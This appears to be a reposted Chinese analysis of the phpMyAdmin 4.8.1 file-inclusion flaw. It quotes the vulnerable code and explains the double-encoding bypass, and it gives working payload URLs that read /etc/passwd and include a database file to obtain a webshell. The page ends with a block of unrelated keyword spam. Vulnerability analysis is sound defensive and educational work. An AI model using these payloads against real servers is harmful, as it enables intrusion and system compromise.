千家信息网

phpmyadmin 4.8.1任意文件包含的示例分析

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章给大家分享的是有关phpmyadmin 4.8.1任意文件包含的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。phpmyadmin 4.8.1任意文件包含0
千家信息网最后更新 2025年12月02日phpmyadmin 4.8.1任意文件包含的示例分析

这篇文章给大家分享的是有关phpmyadmin 4.8.1任意文件包含的示例分析的内容。小编觉得挺实用的,因此分享给大家做个参考,一起跟随小编过来看看吧。

phpmyadmin 4.8.1任意文件包含

0x00 phpmyadmin简述

phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。借由此Web接口可以成为一个简易方式输入繁杂SQL语法的较佳途径,尤其要处理大量资料的汇入及汇出更为方便。其中一个更大的优势在于由于phpMyAdmin跟其他PHP程式一样在网页服务器上执行,但是您可以在任何地方使用这些程式产生的HTML页面,也就是于远端管理MySQL数据库,方便的建立、修改、删除数据库及资料表。也可借由phpMyAdmin建立常用的php语法,方便编写网页时所需要的sql语法正确性。

0x01 影响版本

phpmyadmin 4.8.1
之前的版本没有测试
注:需要登录phpmyadmin才可利用

0x02漏洞分析

查看index.php 55~63行代码

if (! empty($_REQUEST['target'])    && is_string($_REQUEST['target'])    && ! preg_match('/^index/', $_REQUEST['target'])    && ! in_array($_REQUEST['target'], $target_blacklist)    && Core::checkPageValidity($_REQUEST['target'])) {    include $_REQUEST['target'];    exit;}

条件为真(条件):

  1. $_REQUEST['target'] 不能为空

  2. $_REQUEST['target'] 是字符串

  3. $_REQUEST['target'] 不能以index开头

  4. $_REQUEST['target'] 不能在$target_blacklist;而$target_blacklist = array ('import.php', 'export.php');

  5. 需要满足Core::checkPageValidity($_REQUEST['target'])

Core::checkPageValidity($_REQUEST['target']),查看phpMyAdmin1\libraries\classes\core.php
checkPageValidity 函数具体代码:

public static function checkPageValidity(&$page, array $whitelist = [])    {        if (empty($whitelist)) {            $whitelist = self::$goto_whitelist;        }        if (! isset($page) || !is_string($page)) {            return false;        }        if (in_array($page, $whitelist)) {            return true;        }        $_page = mb_substr(            $page,            0,            mb_strpos($page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }        $_page = urldecode($page);        $_page = mb_substr(            $_page,            0,            mb_strpos($_page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }        return false;    }

出现问题的代码:

$_page = urldecode($page);        $_page = mb_substr(            $_page,            0,            mb_strpos($_page . '?', '?')        );        if (in_array($_page, $whitelist)) {            return true;        }

在请求的链接中包含%253即可绕过,那可以构造的链接有:
db_sql.php%253/../../../../../../etc/passwd
db_sql.php可以替换成一下:

'db_datadict.php',        'db_sql.php',        'db_events.php',        'db_export.php',        'db_importdocsql.php',        'db_multi_table_query.php',        'db_structure.php',        'db_import.php',        'db_operations.php',        'db_search.php',        'db_routines.php',        'export.php',        'import.php',        'index.php',        'pdf_pages.php',        'pdf_schema.php',        'server_binlog.php',        'server_collations.php',        'server_databases.php',        'server_engines.php',        'server_export.php',        'server_import.php',        'server_privileges.php',        'server_sql.php',        'server_status.php',        'server_status_advisor.php',        'server_status_monitor.php',        'server_status_queries.php',        'server_status_variables.php',        'server_variables.php',        'sql.php',        'tbl_addfield.php',        'tbl_change.php',        'tbl_create.php',        'tbl_import.php',        'tbl_indexes.php',        'tbl_sql.php',        'tbl_export.php',        'tbl_operations.php',        'tbl_structure.php',        'tbl_relation.php',        'tbl_replace.php',        'tbl_row_action.php',        'tbl_select.php',        'tbl_zoom_select.php',        'transformation_overview.php',        'transformation_wrapper.php',        'user_password.php',

0x03通过文件包含获取webshell

前提条件首先知道数据库的路径

查看当前数据库的路径:

show variables like 'datadir'


我新建了一个数据库 tt,在tt数据库中添加一个了表,在表中插入了
然后访问:http://localhost/phpMyAdmin1/index.php?target=db_sql.php%253f/../../../../../../phpStudy/MySQL/data/tet/tt.MYD

感谢各位的阅读!关于"phpmyadmin 4.8.1任意文件包含的示例分析"这篇文章就分享到这里了,希望以上内容可以对大家有一定的帮助,让大家可以学到更多知识,如果觉得文章不错,可以把它分享出去让更多的人看到吧!

数据 数据库 文件 管理 文件包 分析 代码 条件 语法 示例 内容 接口 方式 更多 版本 程式 篇文章 网页 资料 路径 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 镇海手机软件开发系统 华为软件开发在哪里工作 中职网络技术与应用练习题 网络安全法的网络运营者 打鱼机服务器在国外安全嘛 复旦大学网络安全工作论坛 局域网与外网网络安全 服务器硬盘和台式机硬盘 美团数据库管理工具 云服务器开端口教程 数据库如何分库 深圳鼎合互联网科技有限公司 地下城与勇士服务器连接 网络安全认证工程师报考条件 岁月如歌服务器怎么样 鹰潭企业服务器 服务器生成页面链接 td数据库脚本程序类型 新华区技术软件开发服务价钱 廊坊塔式服务器价格 云服务器管理器怎么打开 湖北中科网络技术有限公司 数据库系统概论第五版第六章答案 互联网大数据与科技有关吗 社交软件开发源码 杭州大树网络技术有限公司现状 上海私有服务器服务商 怎么证明服务器是国外的 网络安全 培训班心得 网络安全为师生手抄报简单
0